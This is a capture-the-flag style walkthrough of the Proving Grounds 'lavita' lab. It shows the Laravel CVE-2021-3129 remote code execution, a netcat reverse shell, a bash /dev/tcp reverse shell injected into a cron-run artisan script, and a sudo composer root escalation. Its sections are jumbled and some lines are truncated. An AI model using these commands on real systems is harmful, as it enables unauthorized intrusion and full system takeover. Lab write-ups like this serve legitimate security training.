Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
The lab will leverage enumeration techniques, including web enumeration, to uncover potential vulnerabilities. You will also exploit CVE-2021-3129 and demonstrate how to abuse SUDO permissions for unauthorized access. This lab focuses on understanding and exploiting vulnerabilities to enhance security awareness.
Scenario
This lab challenges learners to exploit a misconfigured APP_DEBUG setting in a Laravel 8.4.0 application. Using CVE-2021-3129, an unauthenticated Remote Code Execution (RCE) vulnerability in Laravel's Ignition component, attackers can execute arbitrary code, gain reverse shells, and escalate privileges to root through misconfigurations.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate services on the target machine and identify Laravel running on port 80.
- Exploit the APP_DEBUG misconfiguration to trigger the CVE-2021-3129 RCE.
- Obtain an initial shell as the www-data user by leveraging the Laravel exploit script.
- Identify privilege escalation opportunities, including artisan commands and file permissions.
- Escalate to root access by exploiting sudo privileges for composer and achieve full system control.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Execute the next evidence-gathering step in the authorized lab.
www-data@debian:/tmp$ timeout 60s ./pspy64
timeout 60s ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
...
2026/06/15 17:22:49 CMD: UID=0 PID=1020 |
2026/06/15 17:23:01 CMD: UID=0 PID=1022 | /usr/sbin/CRON -f
2026/06/15 17:23:01 CMD: UID=0 PID=1023 | /usr/sbin/CRON -f
2026/06/15 17:23:01 CMD: UID=1001 PID=1024 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
2026/06/15 17:23:01 CMD: UID=1001 PID=1025 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
2026/06/15 17:23:01 CMD: UID=1001 PID=1027 | sh -c stty -a | grep columns
2026/06/15 17:23:01 CMD: UID=1001 PID=1026 | stty -a
2026/06/15 17:23:01 CMD: UID=1001 PID=1028 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
2026/06/15 17:23:01 CMD: UID=1001 PID=1030 | sh -c stty -a | grep columns
2026/06/15 17:23:01 CMD: UID=1001 PID=1029 | stty -a
...This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Inspect the directory for files relevant to the next step.
www-data@debian:/tmp$ ls -al /var/www/html/lavita/artisan
ls -al /var/www/html/lavita/artisan
-rwxr-xr-x 1 www-data www-data 1686 Nov 10 2020 /var/www/html/lavita/artisanThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Read the file contents for useful configuration or credential data.
www-data@debian:/tmp$ cat /etc/passwd | grep '1001'
# Read the file contents for useful configuration or credential data.
cat /etc/passwd | grep '1001'
skunk:x:1001:1001::/home/skunk:/bin/bashThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# Inspect the directory for files relevant to the next step.
www-data@debian:/tmp$ ls -al /var/www/html/
ls -al /var/www/html/
total 24
drwxr-xr-x 3 root root 4096 Dec 8 2023 .
drwxr-xr-x 3 root root 4096 Dec 8 2023 ..
-rw-r--r-- 1 root root 10701 Dec 8 2023 index.html
drwxr-xr-x 12 www-data www-data 4096 Dec 8 2023 lavitaThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
## updating the artisan file with rev shell
# Execute the next evidence-gathering step in the authorized lab.
www-data@debian:/var/www/html/lavita$ sed -i "3i\exec(\"bash -c 'bash -i >& /dev/tcp/192.168.45.205/22 0>&1'\");" /var/www/html/lavita/artisan
<8.45.205/22 0>&1'\");" /var/www/html/lavita/artisanInitial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The scan output identifies the target's exposed services and their versions.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: W3.CSS Template
|_http-server-header: Apache/2.4.56 (Debian)This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/lavita]
# Discover application paths and files that may expand the attack surface.
└─$ gobuster dir -u http://192.168.170.38/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.170.38/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
images (Status: 301) [Size: 317] [--> http://192.168.170.38/images/]
js (Status: 301) [Size: 313] [--> http://192.168.170.38/js/]
css (Status: 301) [Size: 314] [--> http://192.168.170.38/css/]
logout (Status: 405) [Size: 835]
register (Status: 200) [Size: 4981]
login (Status: 200) [Size: 4916]
home (Status: 302) [Size: 354] [--> http://192.168.170.38/login]
javascript (Status: 301) [Size: 321] [--> http://192.168.170.38/javascript/]
server-status (Status: 403) [Size: 279]
image-upload (Status: 302) [Size: 354] [--> http://192.168.170.38/login]
Progress: 26583 / 26583 (100.00%)
===============================================================
Finished
===============================================================port 80 has a website
Found the login page using gobuster but default credentials do not work
Registered a fake account and we are logged in
We are able to enable and disable
App_DEBUGoption.Searching online, we found a RCE vulnerability for APP_Debug
tried many different paylods but it gives errors
This payload worked:
https://github.com/joshuavanderpoll/CVE-2021-3129/tree/main
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
┌──(.myenv)─(kali㉿kali)-[~/offsec/lavita/expl/CVE-2021-3129]
# Run the helper or analysis script used in this lab step.
└─$ python3 CVE-2021-3129.py --host 192.168.170.38 --exec 'nc 192.168.45.205 4444 -e /bin/bash'
_____ _____ ___ __ ___ _ _____ ___ ___
/ __\ \ / / __|_|_ ) \_ ) |__|__ / |_ ) _ \
| (__ \ V /| _|___/ / () / /| |___|_ \ |/ /_, /
\___| \_/ |___| /___\__/___|_| |___/_/___|/_/
https://github.com/joshuavanderpoll/CVE-2021-3129
Using PHPGGC: https://github.com/ambionics/phpggc
[?] Would you like to use the previous working chain 'laravel/rce2' [Y/N] : y
[@] Starting the exploit on "http://192.168.170.38/"...
[@] Testing vulnerable URL "http://192.168.170.38/_ignition/execute-solution"...
[√] Host seems vulnerable!
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Linux based machine.
[√] Laravel log path: "/var/www/html/lavita/storage/logs/laravel.log".
[•] Laravel version found: "8.4.0".
[@] Clearing Laravel logs...
[√] Cleared Laravel logs!
[@] Executing command "nc 192.168.45.205 4444 -e /bin/bash"...
[@] Generating payload...
[√] Generated 1 payloads.
[@] Trying chain laravel/rce2 [1/1]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/lavita]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.170.38] 40288
# Run the helper or analysis script used in this lab step.
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Confirm the identity of the current session.
www-data@debian:/$ whoami
# Confirm the identity of the current session.
whoami
www-data
# Execute the next evidence-gathering step in the authorized lab.
www-data@debian:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Privilege Escalation
- nothing interesting foundwith linpeas
- uploaded pspy to check the running sessions
- found a artisian script running by uid 1001 which is user skunk
- we only have execute permissions over the script however we are the owner of the directorty
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Read the file contents for useful configuration or credential data.
www-data@debian:/var/www/html/lavita$ cat artisan
# Read the file contents for useful configuration or credential data.
cat artisan
#!/usr/bin/env php
<?php
exec("bash -c 'bash -i >& /dev/tcp/192.168.45.205/22 0>&1'");
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/
require __DIR__.'/vendor/autoload.php';
$app = require_once __DIR__.\'/bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Artisan Application
|--------------------------------------------------------------------------
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
$status = $kernel->handle(
$input = new Symfony\Component\Console\Input\ArgvInput,
new Symfony\Component\Console\Output\ConsoleOutput
);
/*
|--------------------------------------------------------------------------
| Shutdown The Application
|--------------------------------------------------------------------------
|
| Once Artisan has finished running, we will fire off the shutdown events
| so that any final work may be done by the application before we shut
| down the process. This is the last thing to happen to the request.
|
*/
$kernel->terminate($input, $status);
exit($status);This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Identify commands that can run with elevated privileges.
skunk@debian:~$ sudo -l
# Identify commands that can run with elevated privileges.
sudo -l
Matching Defaults entries for skunk on debian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User skunk may run the following commands on debian:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/composer --working-dir\=/var/www/html/lavita *- Found GTFObins priv esc vector for composer
- since user skunk does not have access to write, but www-data user has
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output records the result observed during this authorized lab step.
<{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}\' > composer.jsonThis block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Execute the next evidence-gathering step in the authorized lab.
skunk@debian:~$ sudo /usr/bin/composer --working-dir\=/var/www/html/lavita x
# Execute the next evidence-gathering step in the authorized lab.
sudo /usr/bin/composer --working-dir\=/var/www/html/lavita x
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
/bin/sh: 0: can\'t access tty; job control turned off
## id
uid=0(root) gid=0(root) groups=0(root)
##Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.